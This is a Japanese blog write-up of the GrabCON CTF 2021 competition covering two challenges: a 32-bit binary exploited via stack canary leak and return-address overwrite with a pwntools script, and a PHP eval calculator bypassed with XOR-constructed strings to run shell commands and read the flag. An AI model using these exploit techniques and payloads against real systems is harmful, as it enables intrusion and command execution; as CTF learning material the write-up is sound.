green_bar.png Save The Earth! Save The Earth! - 地球環境を守ろう! Save The Earth! green_bar.png

URL: https://ctf.thecybergrabs.org/

結構、Server Errorが出てましたね。。


750点を獲得し、174位でした。



grabcon_CTF_2021_Score1.png
grabcon_CTF_2021_Score2.png



チャレンジのリストです。

grabcon_CTF_2021_chall1.png
grabcon_CTF_2021_chall2.png
grabcon_CTF_2021_chall3.png



[Pwn]: Can you? (100 points)


Challenge

Can you?

nc 35.246.42.94 31337

Attachment:

  • cancancan (ELF 32bit)


Solution

checksecを確認。

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

タイトルなどから、Canaryに関連したチャレンジなのがわかります。


Ghidraでコードを確認します。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
undefined4 main(void)

{
  init((EVP_PKEY_CTX *)&stack0x00000004);
  puts("can you bypass me???");
  vuln();
  return 0;
}


void vuln(void)

{
  int in_GS_OFFSET;
  char *__buf;
  undefined4 uVar1;
  undefined4 uVar2;
  int local_78;
  char local_74 [100];
  int local_10;
  
  uVar2 = 0x80492d6;
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  for (local_78 = 0; local_78 < 2; local_78 = local_78 + 1) {
    uVar1 = 0x200;
    __buf = local_74;
    read(0,__buf,0x200);
    printf(local_74,__buf,uVar1,uVar2);
  }
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}


void win(void)

{
  system("/bin/sh");
  return;
}


Buffer Overflow と、Format String Bug (書式文字列攻撃) の両方の脆弱性がありますね。


“ctf 32bit canary fsb leak” でググったら、以下のWikiでほぼそのまんまの内容が見つかりました。

https://wiki.vaala.cloud/pwn/linux/mitigation/canary/#canary-leaks-canary


書いたコード(ほぼ流用)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
from pwn import *
context.binary = 'cancancan'

s = remote('35.246.42.94', 31337)

# Leak Canary
s.recvuntil("can you bypass me???")
payload = "A" * 100
s.sendline(payload)
s.recvuntil ("A" * 100)
Canary = u32(s.recv(4))-0xa
log.info("Canary:"+hex(Canary))

# Bypass Canary
addr_win = ELF("./cancancan").sym["win"]
payload = b"A" * 100 + p32(Canary) + b"A" * 12 + p32(addr_win)
s.send(payload)
s.interactive ()


Wikiではあんまり説明がなかったので補足すると、pwntoolsのsendlineは最後に改行 ("\n”) が入るので101バイトが書き込まれ、("\n”) で Canary の “\x00” 部分が上書きされます。

これによって、printfの結果がもともと”\x00"で止まるはずだったのが、Canaryを含めて出力されます。

("\n”)は “\x0a” なので、-0xa をしています。0xFFFFFF00 でゼロクリアでも同じ結果になるはず。


Flag: GrabCON{Byp4ss_can4ry_1s_fun!}





[Web]: Basic Calc (150 points)


Challenge

Ever used calc based on php?

Link


Solution

ウェブサイトにアクセスすると、計算用のフォームと、PHPコードが表示されます。

PHPのコード部分は以下でした。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php

if (isset($_POST["eq"])){
    
    $eq = $_POST["eq"];

    if(preg_match("/[A-Za-z`]+/",$eq)){
        die("BAD.");
    }
    echo "Result: ";
    eval("echo " . $eq . " ;");
}else{
  echo highlight_file('index.php',true);  
}

?>


アルファベットを使わずにコマンドを入力しeval()に渡す、ということをしないといけません。


これも、ググって調べると、どうやら Root-Me の「PHP Eval」という問題と同じみたいです。

以下の Write Up を参考にさせていただきました。
https://joshuanatan.medium.com/root-me-web-server-php-eval-f77584cae128


コードは上記の Write Up をそのまま使ったので、ここには載せません。


system(“ls -al”)を実行したいとすると、

system = ('('^'[').('$'^']').('('^'[').(')'^']').('%'^'@').('-'^'@')
ls -al / = (','^'@').('('^'[').('['^'{').'-'.('!'^'@').(','^'@').('['^'{').'/'


以下をPOSTすることになります。

(('('^'[').('$'^']').('('^'[').(')'^']').('%'^'@').('-'^'@'))((','^'@').('('^'[').('['^'{').'-'.('!'^'@').(','^'@').('['^'{').'/')

このようにカッコ(赤い部分)をつけないと、単純にechoでコマンド自体が表示されて、コマンドの結果が得られません。


ls -al / を確認したら、/flagggg.txt があるのがわかります。

ここで、

cat /flagggg.txt をやろうとすると、以下のようにエラーになってしまいました。

grabcon_CTF_2021_basic_calc.png


cat /*.txt にて、フラグを得ることができました。


Flag: GrabCON{b4by_php_f0r_y0u}